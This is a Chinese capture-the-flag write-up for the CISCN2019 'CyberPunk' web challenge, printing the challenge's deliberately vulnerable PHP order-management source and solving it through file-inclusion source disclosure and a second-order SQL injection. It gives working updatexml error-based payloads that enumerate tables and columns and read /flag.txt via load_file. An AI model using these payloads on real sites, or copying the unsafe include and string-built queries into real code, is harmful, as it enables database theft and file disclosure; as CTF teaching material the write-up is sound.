复现CISCN2019 华北赛区 Day1 Web5]CyberPunk

  • 查看源码给了提示目测是文件包含

    img

  • PHP伪协议直接读取源码

    image-20191108200230449

  • 源码如下:

    • index.php
    <?php
    
    ini_set('open_basedir', '/var/www/html/');
    
    // $file = $_GET["file"];
    $file = (isset($_GET['file']) ? $_GET['file'] : null);
    if (isset($file)){
        if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
            echo('no way!');
            exit;
        }
        @include($file);
    }
    ?>
    
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="utf-8">
    <title>index</title>
    <base href="./">
    <meta charset="utf-8" />
    
    <link href="assets/css/bootstrap.css" rel="stylesheet">
    <link href="assets/css/custom-animations.css" rel="stylesheet">
    <link href="assets/css/style.css" rel="stylesheet">
    
    </head>
    <body>
    <div id="h">
        <div class="container">
            <h2>2077鍙戝敭浜�,涓嶆潵浠藉疄浣撳吀钘忕増鍚�?</h2>
            <img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
            <div class="row">
                <div class="col-md-8 col-md-offset-2 centered">
                    <h3>鎻愪氦璁㈠崟</h3>
                    <form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
                        <p>
                        <h3>濮撳悕:</h3>
                        <input type="text" class="subscribe-input" name="user_name">
                        <h3>鐢佃瘽:</h3>
                        <input type="text" class="subscribe-input" name="phone">
                        <h3>鍦板潃:</h3>
                        <input type="text" class="subscribe-input" name="address">
                        </p>
                        <button class='btn btn-lg  btn-sub btn-white' type="submit">鎴戞鏄�侀挶涔嬩汉</button>
                    </form>
                </div>
            </div>
        </div>
    </div>
    
    <div id="f">
        <div class="container">
            <div class="row">
                <h2 class="mb">璁㈠崟绠$悊</h2>
                <a href="./search.php">
                    <button class="btn btn-lg btn-register btn-white" >鎴戣鏌ヨ鍗�</button>
                </a>
                <a href="./change.php">
                    <button class="btn btn-lg btn-register btn-white" >鎴戣淇敼鏀惰揣鍦板潃</button>
                </a>
                <a href="./delete.php">
                    <button class="btn btn-lg btn-register btn-white" >鎴戜笉鎯宠浜�</button>
                </a>
            </div>
        </div>
    </div>
    
    <script src="assets/js/jquery.min.js"></script>
    <script src="assets/js/bootstrap.min.js"></script>
    <script src="assets/js/retina-1.1.0.js"></script>
    <script src="assets/js/jquery.unveilEffects.js"></script>
    </body>
    </html>
    <!--?file=?-->
    • confirm.php
    <?php
    
    require_once "config.php";
    //var_dump($_POST);
    
    if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
    {
        $msg = '';
        $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
        $user_name = $_POST["user_name"];
        $address = $_POST["address"];
        $phone = $_POST["phone"];
        if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
            $msg = 'no sql inject!';
        }else{
            $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
            $fetch = $db->query($sql);
        }
    
        if($fetch->num_rows>0) {
            $msg = $user_name."已提交订单";
        }else{
            $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
            $re = $db->prepare($sql);
            $re->bind_param("sss", $user_name, $address, $phone);
            $re = $re->execute();
            if(!$re) {
                echo 'error';
                print_r($db->error);
                exit;
            }
            $msg = "订单提交成功";
        }
    } else {
        $msg = "信息不全";
    }
    ?>
    
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="utf-8">
    <title>确认订单</title>
    <base href="./">
    <meta charset="utf-8"/>
    
    <link href="assets/css/bootstrap.css" rel="stylesheet">
    <link href="assets/css/custom-animations.css" rel="stylesheet">
    <link href="assets/css/style.css" rel="stylesheet">
    
    </head>
    <body>
    <div id="h">
        <div class="container">
            <img class="logo" src="./assets/img/logo-zh.png">
            <div class="row">
                <div class="col-md-8 col-md-offset-2 centered">
                    <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
                    <a href="./index.php">
                    <button class='btn btn-lg  btn-sub btn-white'>返回</button>
                    </a>
                </div>
            </div>
        </div>
    </div>
    
    <div id="f">
        <div class="container">
            <div class="row">
                <p style="margin:35px 0;"><br></p>
                <h2 class="mb">订单管理</h2>
                <a href="./search.php">
                    <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
                </a>
                <a href="./change.php">
                    <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
                </a>
                <a href="./delete.php">
                    <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
                </a>
            </div>
        </div>
    </div>
    
    <script src="assets/js/jquery.min.js"></script>
    <script src="assets/js/bootstrap.min.js"></script>
    <script src="assets/js/retina-1.1.0.js"></script>
    <script src="assets/js/jquery.unveilEffects.js"></script>
    </body>
    </html>
    • search.php
    <?php
    
    require_once "config.php"; 
    
    if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
    {
        $msg = '';
        $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
        $user_name = $_POST["user_name"];
        $phone = $_POST["phone"];
        if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
            $msg = 'no sql inject!';
        }else{
            $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
            $fetch = $db->query($sql);
        }
    
        if (isset($fetch) && $fetch->num_rows>0){
            $row = $fetch->fetch_assoc();
            if(!$row) {
                echo 'error';
                print_r($db->error);
                exit;
            }
            $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
        } else {
            $msg = "未找到订单!";
        }
    }else {
        $msg = "信息不全";
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>搜索</title>
    <base href="./">
    
    <link href="assets/css/bootstrap.css" rel="stylesheet">
    <link href="assets/css/custom-animations.css" rel="stylesheet">
    <link href="assets/css/style.css" rel="stylesheet">
    
    </head>
    <body>
    <div id="h">
        <div class="container">
            <div class="row">
                <div class="col-md-8 col-md-offset-2 centered">
                    <p style="margin:35px 0;"><br></p>
                    <h1>订单查询</h1>
                    <form method="post">
                        <p>
                        <h3>姓名:</h3>
                        <input type="text" class="subscribe-input" name="user_name">
                        <h3>电话:</h3>
                        <input type="text" class="subscribe-input" name="phone">
                        </p>
                        <p>
                        <button class='btn btn-lg  btn-sub btn-white' type="submit">查询订单</button>
                        </p>
                    </form>
                    <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
                </div>
            </div>
        </div>
    </div>
    
    <div id="f">
        <div class="container">
            <div class="row">
                <p style="margin:35px 0;"><br></p>
                <h2 class="mb">订单管理</h2>
                <a href="./index.php">
                    <button class='btn btn-lg btn-register btn-sub btn-white'>
    • change.php
    <?php
    
    require_once "config.php";
    
    if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
    {
        $msg = '';
        $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
        $user_name = $_POST["user_name"];
        $address = addslashes($_POST["address"]);
        $phone = $_POST["phone"];
        if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
            $msg = 'no sql inject!';
        }else{
            $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
            $fetch = $db->query($sql);
        }
    
        if (isset($fetch) && $fetch->num_rows>0){
            $row = $fetch->fetch_assoc();
            $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
            $result = $db->query($sql);
            if(!$result) {
                echo 'error';
                print_r($db->error);
                exit;
            }
            $msg = "订单修改成功";
        } else {
            $msg = "未找到订单!";
        }
    }else {
        $msg = "信息不全";
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>修改收货地址</title>
    <base href="./">
    
    <link href="assets/css/bootstrap.css" rel="stylesheet">
    <link href="assets/css/custom-animations.css" rel="stylesheet">
    <link href="assets/css/style.css" rel="stylesheet">
    
    </head>
    <body>
    <div id="h">
        <div class="container">
            <div class="row">
                <div class="col-md-8 col-md-offset-2 centered">
                    <p style="margin:35px 0;"><br></p>
                    <h1>修改收货地址</h1>
                    <form method="post">
                        <p>
                        <h3>姓名:</h3>
                        <input type="text" class="subscribe-input" name="user_name">
                        <h3>电话:</h3>
                        <input type="text" class="subscribe-input" name="phone">
                        <h3>地址:</h3>
                        <input type="text" class="subscribe-input" name="address">
                        </p>
                        <p>
                        <button class='btn btn-lg  btn-sub btn-white' type="submit">修改订单</button>
                        </p>
                    </form>
                    <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
                </div>
            </div>
        </div>
    </div>
    
    <div id="f">
        <div class="container">
            <div class="row">
                <p style="margin:35px 0;"><br></p>
                <h2 class="mb">订单管理</h2>
                <a href="./index.php">
                    <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
                </a>
                <a href="./search.php">
                    <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
                </a>
                <a href="./delete.php">
                    <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
                </a>
            </div>
        </div>
    </div>
    
    <script src="assets/js/jquery.min.js"></script>
    <script src="assets/js/bootstrap.min.js"></script>
    <script src="assets/js/retina-1.1.0.js"></script>
    <script src="assets/js/jquery.unveilEffects.js"></script>
    </body>
    </html>
    
    • delete.php
    <?php
    
    require_once "config.php";
    
    if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
    {
        $msg = '';
        $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
        $user_name = $_POST["user_name"];
        $phone = $_POST["phone"];
        if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
            $msg = 'no sql inject!';
        }else{
            $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
            $fetch = $db->query($sql);
        }
    
        if (isset($fetch) && $fetch->num_rows>0){
            $row = $fetch->fetch_assoc();
            $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
            if(!$result) {
                echo 'error';
                print_r($db->error);
                exit;
            }
            $msg = "订单删除成功";
        } else {
            $msg = "未找到订单!";
        }
    }else {
        $msg = "信息不全";
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>删除订单</title>
    <base href="./">
    <meta charset="utf-8" />
    
    <link href="assets/css/bootstrap.css" rel="stylesheet">
    <link href="assets/css/custom-animations.css" rel="stylesheet">
    <link href="assets/css/style.css" rel="stylesheet">
    
    </head>
    <body>
    <div id="h">
        <div class="container">
            <div class="row">
                <div class="col-md-8 col-md-offset-2 centered">
                    <p style="margin:35px 0;"><br></p>
                    <h1>删除订单</h1>
                    <form method="post">
                        <p>
                        <h3>姓名:</h3>
                        <input type="text" class="subscribe-input" name="user_name">
                        <h3>电话:</h3>
                        <input type="text" class="subscribe-input" name="phone">
                        </p>
                        <p>
                        <button class='btn btn-lg  btn-sub btn-white' type="submit">删除订单</button>
                        </p>
                    </form>
                    <?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>
                </div>
            </div>
        </div>
    </div>
    <div id="f">
        <div class="container">
            <div class="row">
                <h2 class="mb">订单管理</h2>
                <a href="./index.php">
                    <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
                </a>
                <a href="./search.php">
                    <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
                </a>
                <a href="./change.php">
                    <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
                </a>
            </div>
        </div>
    </div>
    
    <script src="assets/js/jquery.min.js"></script>
    <script src="assets/js/bootstrap.min.js"></script>
    <script src="assets/js/retina-1.1.0.js"></script>
    <script src="assets/js/jquery.unveilEffects.js"></script>
    </body>
    </html>
    
    • config.php
    <?php
    
    ini_set("open_basedir", getcwd() . ":/etc:/tmp");
    
    $DATABASE = array(
    
        "host" => "127.0.0.1",
        "username" => "root",
        "password" => "root",
        "dbname" =>"ctfusers"
    );
    
    $db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
    
  • 分析:

    • 我们从代码中可以看到在查询的时候使用了正则去过滤,在写入时候使用了预处理所以无法进行注入。但是可以注意到使用正则过滤的时候并没有对地址过滤,我们跟进可以发现在change.php里地址是拼接进sql语句了,但是使用了addslashes()对单引号进行了转义,导致无法逃逸,但是这里可以导致在修改地址时候会将地址查询出来再拼接到更新语句,那么这里就算我们逃逸不了但是可以将后面的单引号给注释掉导致报错,同时这里将sql错误内容给打印出来了,可以使用报错注入。

    img

  • 构造payload

    1' where user_id=updatexml(1,concat(0x7e,(select substr(database(),1,20)),0x7e),1)#
    • 在写入时候将上面payload写入地址,而后修改该订单的地址就会显示报错。

    img

    • 爆表名
    1' where user_id=updatexml(1,concat(0x7e,(select substr(table_name,1,20)from information_schema.tables where table_schema='ctfusers'),0x7e),1)#

    img

    • 爆表段
    1' where user_id=updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,20)from information_schema.columns where table_name='user'),0x7e),1)#

    image-20191108213119371

    • 在表中并未查找出来flag,最后读文件读出来了
    1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
    
    1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
    • flag
    flag{71ee17ac-d06a-4  4aca-91c3-ae8671029100} 
  • 延伸

    • UPDATEXML

      • UPDATEXML (XML_document, XPath_string, new_value); 
        • 参数1:XML_document是String格式,为XML文档对象的名称,文中为Doc
        • 参数2:XPath_string (Xpath格式的字符串)
        • 参数3: new_value,String格式,替换查找到的符合条件的数据
本文总阅读量
× 文章目录